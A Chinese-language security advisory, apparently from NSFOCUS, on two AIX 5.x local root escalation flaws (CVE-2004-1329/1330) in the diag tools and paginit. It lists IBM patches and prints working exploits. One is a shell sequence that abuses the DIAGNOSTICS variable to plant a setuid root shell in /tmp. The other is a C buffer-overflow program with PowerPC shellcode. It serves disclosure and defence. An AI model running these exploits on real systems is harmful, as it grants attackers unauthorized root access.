安全研究

安全漏洞
AIX 本地特权提升漏洞

发布日期:2004-12-20
更新日期:2004-12-21

受影响系统:
IBM AIX 5.3
IBM AIX 5.2
IBM AIX 5.1
描述:
CVE(CAN) ID: CVE-2004-1329,CVE-2004-1330

IBM AIX是一款商业性质的操作系统。

IBM AIX diag及paginit工具存在安全问题,本地攻击者可以利用这个漏洞进行特权提升攻击。

问题一是所有setuid diag相关工具使用环境变量作为前缀,设置特殊环境变量可导致外部应用程序以root用户权限执行。

问题二是paginit工具存在典型的堆栈溢出问题,没有检查第一个命令行参数长度,可导致以root用户权限执行任意指令。

<*来源:cees-bart (ceesb@cs.ru.nl
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=110355931920123&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

cees-bart (ceesb@cs.ru.nl)提供了如下测试方法:

mkdirhier /tmp/aap/bin
export DIAGNOSTICS=/tmp/aap
cat > /tmp/aap/bin/Dctrl << EOF
#!/bin/sh
cp /bin/sh /tmp/.shh
chown root:system /tmp/.shh
chmod u+s /tmp/.shh
EOF
chmod a+x /tmp/aap/bin/Dctrl
lsmcode
/tmp/.shh

/* exploit for /usr/bin/paginit
   tested on: AIX 5.2

   if the exploit fails it's because the shellcode
   ends up at a different address. use dbx to check,
   and change RETADDR accordingly.

   cees-bart <ceesb@cs.ru.nl>
*/

#define RETADDR 0x2ff22c90

char shellcode[] =
"\x7c\xa5\x2a\x79"
"\x40\x82\xff\xfd"      
"\x7c\xa8\x02\xa6"      
"\x38\xe0\x11\x11"
"\x39\x20\x48\x11"      
"\x7c\xc7\x48\x10"      
"\x38\x46\xc9\x05"      
"\x39\x25\x11\x11"
"\x38\x69\xef\x17"      
"\x38\x87\xee\xef"      
"\x7c\xc9\x03\xa6"      
"\x4e\x80\x04\x20"
"\x2f\x62\x69\x6e"      
"\x2f\x73\x68\x00"
;

char envlabel[] = "X=";

void printint(char* buf, int x) {
  buf[0] = x >> 24;
  buf[1] = (x >> 16) & 0xff;
  buf[2] = (x >> 8) & 0xff;
  buf[3] = x & 0xff;
}

int main(int argc, char **argv) {
  char *env[3];
  char code[1000];
  char buf[8000];
  char *p, *i;
  int offset1 = 0;

  offset1 = 0; // atoi(argv[1]);
  
  memset(code, 'C', sizeof(code));
  memcpy(code, envlabel,sizeof(envlabel)-1);
  // landingzone
  for(i=code+sizeof(envlabel)+offset1; i<code+sizeof(code); i+=4)
    printint(i, 0x7ca52a79);

  memcpy(code+sizeof(code)-sizeof(shellcode), shellcode, sizeof(shellcode)-1);  
  code[sizeof(code)-1] = 0;
  
  env[0] = code;
  env[1] = 0;

  memset(buf, 'A', sizeof(buf));
  buf[sizeof(buf)-1] = 0;
  
  p = buf;
  p += 4114;
  printint(p,RETADDR); // try to hit the landingzone
  p += 72;
  printint(p, RETADDR); // any readable address (apparently not overwritten)

  execle("/usr/bin/paginit", "/usr/bin/paginit", buf, 0, env);
}

建议:
厂商补丁:

IBM
---
使用如下补丁:

问题一可使用IY64389(5.1), IY64523(5.2),和IY64277(5.3)补丁。

问题二可使用IY64358(5.1), IY64522(5.2),和IY64312(5.3)补丁。

http://www-912.ibm.com/eserver/support/fixes/fcgui.jsp

浏览次数:3177
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障